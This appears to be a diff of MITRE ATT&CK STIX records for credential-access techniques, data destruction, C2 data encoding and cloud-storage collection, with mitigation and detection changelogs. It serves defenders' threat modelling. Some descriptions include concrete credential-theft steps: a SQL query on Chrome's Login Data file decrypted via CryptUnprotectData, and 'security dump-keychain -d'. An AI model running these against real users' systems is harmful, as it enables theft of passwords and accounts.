+ {
+ "source_name": "F-Secure The Dukes",
+ "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
+ "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "IaaS",
+ "Linux",
+ "macOS",
+ "Windows"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Access\", \"Command: Command Execution\", \"Process: Process Access\", \"Cloud Service: Cloud Service Enumeration\", \"Process: Process Creation\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:41.974000+00:00\", \"old_value\": \"2025-04-15 22:12:11.343000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor system calls, file read events, and processes for suspicious activity that could indicate searching for a password or other activity related to performing keyword searches (e.g. password, pwd, login, store, secure, credentials, etc.) in process memory for credentials. File read events should be monitored surrounding known password storage applications.\"}}}",
+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1026: Privileged Account Management",
+ "M1027: Password Policies",
+ "M1051: Update Software"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Access)",
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Access)",
+ "DS0025: Cloud Service (Cloud Service Enumeration)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0430: Detect Credentials Access from Password Stores"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-12 18:57:36.041000+00:00",
+ "modified": "2025-10-24 17:48:49.577000+00:00",
+ "name": "Credentials from Web Browsers",
+ "description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim\u2019s cached logon credentials as the decryption key.(Citation: Microsoft CryptUnprotectData April 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "credential-access"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1555/003",
+ "external_id": "T1555.003"
+ },
+ {
+ "source_name": "GitHub Mimikittenz July 2016",
+ "description": "Jamieson O'Reilly (putterpanda). (2016, July 4). mimikittenz. Retrieved June 20, 2019.",
+ "url": "https://github.com/putterpanda/mimikittenz"
+ },
+ {
+ "source_name": "Talos Olympic Destroyer 2018",
+ "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
+ "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
+ },
+ {
+ "source_name": "Microsoft CryptUnprotectData April 2018",
+ "description": "Microsoft. (2018, April 12). CryptUnprotectData function. Retrieved June 18, 2019.",
+ "url": "https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata"
+ },
+ {
+ "source_name": "Proofpoint Vega Credential Stealer May 2018",
+ "description": "Proofpoint. (2018, May 10). New Vega Stealer shines brightly in targeted campaign . Retrieved June 18, 2019.",
+ "url": "https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign"
+ },
+ {
+ "source_name": "FireEye HawkEye Malware July 2017",
+ "description": "Swapnil Patil, Yogesh Londhe. (2017, July 25). HawkEye Credential Theft Malware Distributed in Recent Phishing Campaign. Retrieved June 18, 2019.",
+ "url": "https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.3.0",
+ "x_mitre_contributors": [
+ "Ryan Benson, Exabeam",
+ "Barry Shteiman, Exabeam",
+ "Sylvain Gil, Exabeam",
+ "RedHuntLabs, @redhuntlabs",
+ "Don Le, Stifel Financial"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Access\", \"File: File Access\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:49.577000+00:00\", \"old_value\": \"2025-04-15 22:12:28.087000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Identify web browser files that contain credentials such as Google Chrome\\u2019s Login Data database file: AppData\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Login Data. Monitor file read events of web browser files that contain credentials, especially when the reading process is unrelated to the subject web browser. Monitor process execution logs to include PowerShell Transcription focusing on those that perform a combination of behaviors including reading web browser process memory, utilizing regular expressions, and those that contain numerous keywords for common web applications (Gmail, Twitter, Office365, etc.).\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][4]\": \"Don Le, Stifel Financial\"}}",
+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1017: User Training",
+ "M1018: User Account Management",
+ "M1021: Restrict Web-Based Content",
+ "M1027: Password Policies",
+ "M1051: Update Software"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Access)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Access)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0037: Detect Suspicious Access to Browser Credential Stores"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-12 18:55:24.728000+00:00",
+ "modified": "2025-10-24 17:48:29.756000+00:00",
+ "name": "Keychain",
+ "description": "Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple\u2019s iCloud service. \n\nKeychains can be viewed and edited through the Keychain Access application or using the command-line utility security. Keychain files are located in ~/Library/Keychains/, /Library/Keychains/, and /Network/Library/Keychains/.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)\n\nAdversaries may gather user credentials from Keychain storage/memory. For example, the command security dump-keychain \u2013d will dump all Login Keychain credentials from ~/Library/Keychains/login.keychain-db. Adversaries may also directly read Login Keychain credentials from the ~/Library/Keychains/login.keychain file. Both methods require a password, where the default password for the Login Keychain is the current user\u2019s password to login to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt) ",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "credential-access"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1555/001",
+ "external_id": "T1555.001"
+ },
+ {
+ "source_name": "External to DA, the OS X Way",
+ "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved September 12, 2024.",
+ "url": "https://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418"
+ },
+ {
+ "source_name": "Keychain Services Apple",
+ "description": "Apple. (n.d.). Keychain Services. Retrieved April 11, 2022.",
+ "url": "https://developer.apple.com/documentation/security/keychain_services"
+ },
+ {
+ "source_name": "Empire Keychain Decrypt",
+ "description": "Empire. (2018, March 8). Empire keychaindump_decrypt Module. Retrieved April 14, 2022.",
+ "url": "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/keychaindump_decrypt.py"
+ },
+ {
+ "source_name": "OSX Keychain Schaumann",
+ "description": "Jan Schaumann. (2015, November 5). Using the OS X Keychain to store and retrieve passwords. Retrieved March 31, 2022.",
+ "url": "https://www.netmeister.org/blog/keychain-passwords.html"
+ },
+ {
+ "source_name": "Keychain Decryption Passware",
+ "description": "Yana Gourenko. (n.d.). A Deep Dive into Apple Keychain Decryption. Retrieved April 13, 2022.",
+ "url": "https://support.passware.com/hc/en-us/articles/4573379868567-A-Deep-Dive-into-Apple-Keychain-Decryption"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "macOS"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\", \"Process: OS API Execution\", \"File: File Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:29.756000+00:00\", \"old_value\": \"2025-04-15 22:44:01.937000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1027: Password Policies"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Access)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0396: Detect Access to macOS Keychain for Credential Theft"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2021-01-22 16:08:40.629000+00:00",
+ "modified": "2025-10-24 17:48:36.347000+00:00",
+ "name": "Password Managers",
+ "description": "Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise Password Manager February 2019)\n\nAdversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief) Adversaries may extract credentials from memory via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212).(Citation: NVD CVE-2019-3610)\n Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "credential-access"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1555/005",
+ "external_id": "T1555.005"
+ },
+ {
+ "source_name": "Cyberreason Anchor December 2019",
+ "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020.",
+ "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware"
+ },
+ {
+ "source_name": "FoxIT Wocao December 2019",
+ "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.",
+ "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"
+ },
+ {
+ "source_name": "ise Password Manager February 2019",
+ "description": "ise. (2019, February 19). Password Managers: Under the Hood of Secrets Management. Retrieved January 22, 2021.",
+ "url": "https://www.ise.io/casestudies/password-manager-hacking/"
+ },
+ {
+ "source_name": "Github KeeThief",
+ "description": "Lee, C., Schoreder, W. (n.d.). KeeThief. Retrieved February 8, 2021.",
+ "url": "https://github.com/GhostPack/KeeThief"
+ },
+ {
+ "source_name": "NVD CVE-2019-3610",
+ "description": "National Vulnerability Database. (2019, October 9). CVE-2019-3610 Detail. Retrieved April 14, 2021.",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3610"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.3.0",
+ "x_mitre_contributors": [
+ "Matt Burrough, @mattburrough, Microsoft",
+ "Don Le, Stifel Financial"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows"
+ ],
+ "x_mitre_version": "1.1",
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+ "M1018: User Account Management",
+ "M1027: Password Policies",
+ "M1051: Update Software",
+ "M1054: Software Configuration"
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+ "new": [
+ "DET0597: Detect Unauthorized Access to Password Managers"
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+ "modified": "2025-10-24 17:48:28.055000+00:00",
+ "name": "Securityd Memory",
+ "description": "An adversary with root access may gather credentials by reading `securityd`\u2019s memory. `securityd` is a service/daemon responsible for implementing security protocols such as encryption and authorization.(Citation: Apple Dev SecurityD) A privileged adversary may be able to scan through `securityd`'s memory to find the correct sequence of keys to decrypt the user\u2019s logon keychain. This may provide the adversary with various plaintext passwords, such as those for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain)(Citation: OSX Keydnap malware)\n\nIn OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple\u2019s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.(Citation: OS X Keychain)(Citation: External to DA, the OS X Way) Apple\u2019s `securityd` utility takes the user\u2019s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user\u2019s password, but once the master key is found, an adversary need only iterate over the other values to unlock the final password.(Citation: OS X Keychain)",
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+ "url": "https://attack.mitre.org/techniques/T1555/002",
+ "external_id": "T1555.002"
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+ "source_name": "External to DA, the OS X Way",
+ "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved September 12, 2024.",
+ "url": "https://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418"
+ },
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+ "source_name": "Apple Dev SecurityD",
+ "description": "Apple. (n.d.). Security Server and Security Agent. Retrieved March 29, 2024.",
+ "url": "https://developer.apple.com/library/archive/documentation/Security/Conceptual/Security_Overview/Architecture/Architecture.html"
+ },
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+ "source_name": "OS X Keychain",
+ "description": "Juuso Salonen. (2012, September 5). Breaking into the OS X keychain. Retrieved November 17, 2024.",
+ "url": "https://web.archive.org/web/20130106164109/https://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain"
+ },
+ {
+ "source_name": "OSX Keydnap malware",
+ "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
+ "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
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+ "source_name": "Malwarebytes The Windows Vault",
+ "description": "Arntz, P. (2016, March 30). The Windows Vault . Retrieved November 23, 2020.",
+ "url": "https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/"
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+ {
+ "source_name": "Delpy Mimikatz Crendential Manager",
+ "description": "Delpy, B. (2017, December 12). howto ~ credential manager saved credentials. Retrieved November 23, 2020.",
+ "url": "https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials"
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+ "source_name": "Microsoft Credential Locker",
+ "description": "Microsoft. (2013, October 23). Credential Locker Overview. Retrieved November 24, 2020.",
+ "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-8.1-and-8/jj554668(v=ws.11)?redirectedfrom=MSDN"
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+ "source_name": "Microsoft Credential Manager store",
+ "description": "Microsoft. (2016, August 31). Cached and Stored Credentials Technical Overview. Retrieved November 24, 2020.",
+ "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11)#credential-manager-store"
+ },
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+ "source_name": "Microsoft CredEnumerate",
+ "description": "Microsoft. (2018, December 5). CredEnumarateA function (wincred.h). Retrieved November 24, 2020.",
+ "url": "https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credenumeratea"
+ },
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+ "source_name": "passcape Windows Vault",
+ "description": "Passcape. (n.d.). Windows Password Recovery - Vault Explorer and Decoder. Retrieved November 24, 2020.",
+ "url": "https://www.passcape.com/windows_password_recovery_vault_explorer"
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+ "description": "Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.\n\nAdversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).\n\nIn cloud environments, adversaries may leverage access to delete cloud storage objects, machine images, database instances, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider) Similarly, they may delete virtual machines from on-prem virtualized environments.",
+ "kill_chain_phases": [
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "impact"
+ }
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+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1485",
+ "external_id": "T1485"
+ },
+ {
+ "source_name": "DOJ - Cisco Insider",
+ "description": "DOJ. (2020, August 26). San Jose Man Pleads Guilty To Damaging Cisco\u2019s Network. Retrieved December 15, 2020.",
+ "url": "https://www.justice.gov/usao-ndca/pr/san-jose-man-pleads-guilty-damaging-cisco-s-network"
+ },
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+ "source_name": "Unit 42 Shamoon3 2018",
+ "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.",
+ "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/"
+ },
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+ "source_name": "Palo Alto Shamoon Nov 2016",
+ "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
+ "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"
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+ "source_name": "FireEye Shamoon Nov 2016",
+ "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved November 17, 2024.",
+ "url": "https://web.archive.org/web/20210126065851/https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html"
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+ "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.",
+ "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf"
+ },
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+ "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
+ "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
+ },
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+ "source_name": "Data Destruction - Threat Post",
+ "description": "Mimoso, M.. (2014, June 18). Hacker Puts Hosting Service Code Spaces Out of Business. Retrieved December 15, 2020.",
+ "url": "https://threatpost.com/hacker-puts-hosting-service-code-spaces-out-of-business/106761/"
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+ "source_name": "Symantec Shamoon 2012",
+ "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.",
+ "url": "https://www.symantec.com/connect/blogs/shamoon-attacks"
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+ "DS0009: Process (Process Creation)",
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+ "description": "Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.",
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+ "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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+ "source_name": "Wikipedia Binary-to-text Encoding",
+ "description": "Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.",
+ "url": "https://en.wikipedia.org/wiki/Binary-to-text_encoding"
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+ "url": "https://attack.mitre.org/techniques/T1001/002",
+ "external_id": "T1001.002"
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+ "source_name": "University of Birmingham C2",
+ "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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+ "source_name": "Mandiant M-Trends 2020",
+ "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.",
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+ "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.",
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+ "DET0014: Detection of Data Staging Prior to Exfiltration"
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+ "description": "Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.",
+ "url": "https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"
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+ "source_name": "Mandiant M-Trends 2020",
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+ "url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"
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+ "modified": "2025-10-24 17:48:37.187000+00:00",
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+ "description": "Adversaries may access data from cloud storage.\n\nMany IaaS providers offer solutions for online data object storage such as Amazon S3, Azure Storage, and Google Cloud Storage. Similarly, SaaS enterprise platforms such as Office 365 and Google Workspace provide cloud-based document storage to users through services such as OneDrive and Google Drive, while SaaS application providers such as Slack, Confluence, Salesforce, and Dropbox may provide cloud storage solutions as a peripheral or primary use case of their platform. \n\nIn some cases, as with IaaS-based cloud storage, there exists no overarching application (such as SQL or Elasticsearch) with which to interact with the stored objects: instead, data from these solutions is retrieved directly though the [Cloud API](https://attack.mitre.org/techniques/T1059/009). In SaaS applications, adversaries may be able to collect this data directly from APIs or backend cloud storage objects, rather than through their front-end application or interface (i.e., [Data from Information Repositories](https://attack.mitre.org/techniques/T1213)). \n\nAdversaries may collect sensitive data from these cloud storage solutions. Providers typically offer security guides to help end users configure systems, though misconfigurations are a common problem.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019) There have been numerous incidents where cloud storage has been improperly secured, typically by unintentionally allowing public access to unauthenticated users, overly-broad access by all users, or even access for any anonymous person outside the control of the Identity Access Management system without even needing basic user permissions.\n\nThis open access may expose various types of sensitive data, such as credit cards, personally identifiable information, or medical records.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017)(Citation: Rclone-mega-extortion_05_2021)\n\nAdversaries may also obtain then abuse leaked credentials from source repositories, logs, or other means as a way to gain access to cloud storage objects.",
+ "kill_chain_phases": [
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "collection"
+ }
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+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1530",
+ "external_id": "T1530"
+ },
+ {
+ "source_name": "Amazon S3 Security, 2019",
+ "description": "Amazon. (2019, May 17). How can I secure the files in my Amazon S3 bucket?. Retrieved October 4, 2019.",
+ "url": "https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/"
+ },
+ {
+ "source_name": "Microsoft Azure Storage Security, 2019",
+ "description": "Amlekar, M., Brooks, C., Claman, L., et. al.. (2019, March 20). Azure Storage security guide. Retrieved October 4, 2019.",
+ "url": "https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide"
+ },
+ {
+ "source_name": "Wired Magecart S3 Buckets, 2019",
+ "description": "Barrett, B.. (2019, July 11). Hack Brief: A Card-Skimming Hacker Group Hit 17K Domains\u2014and Counting. Retrieved October 4, 2019.",
+ "url": "https://www.wired.com/story/magecart-amazon-cloud-hacks/"
+ },
+ {
+ "source_name": "Google Cloud Storage Best Practices, 2019",
+ "description": "Google. (2019, September 16). Best practices for Cloud Storage. Retrieved October 4, 2019.",
+ "url": "https://cloud.google.com/storage/docs/best-practices"
+ },
+ {
+ "source_name": "HIPAA Journal S3 Breach, 2017",
+ "description": "HIPAA Journal. (2017, October 11). 47GB of Medical Records and Test Results Found in Unsecured Amazon S3 Bucket. Retrieved October 4, 2019.",
+ "url": "https://www.hipaajournal.com/47gb-medical-records-unsecured-amazon-s3-bucket/"
+ },
+ {
+ "source_name": "Rclone-mega-extortion_05_2021",
+ "description": "Justin Schoenfeld, Aaron Didier. (2021, May 4). Transferring leverage in a ransomware attack. Retrieved July 14, 2022.",
+ "url": "https://redcanary.com/blog/rclone-mega-extortion/"
+ },
+ {
+ "source_name": "Trend Micro S3 Exposed PII, 2017",
+ "description": "Trend Micro. (2017, November 6). A Misconfigured Amazon S3 Exposed Almost 50 Thousand PII in Australia. Retrieved October 4, 2019.",
+ "url": "https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/a-misconfigured-amazon-s3-exposed-almost-50-thousand-pii-in-australia"
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+ "shared": [],
+ "new": [
+ "DET0484: Multi-Platform Cloud Storage Exfiltration Behavior Chain"
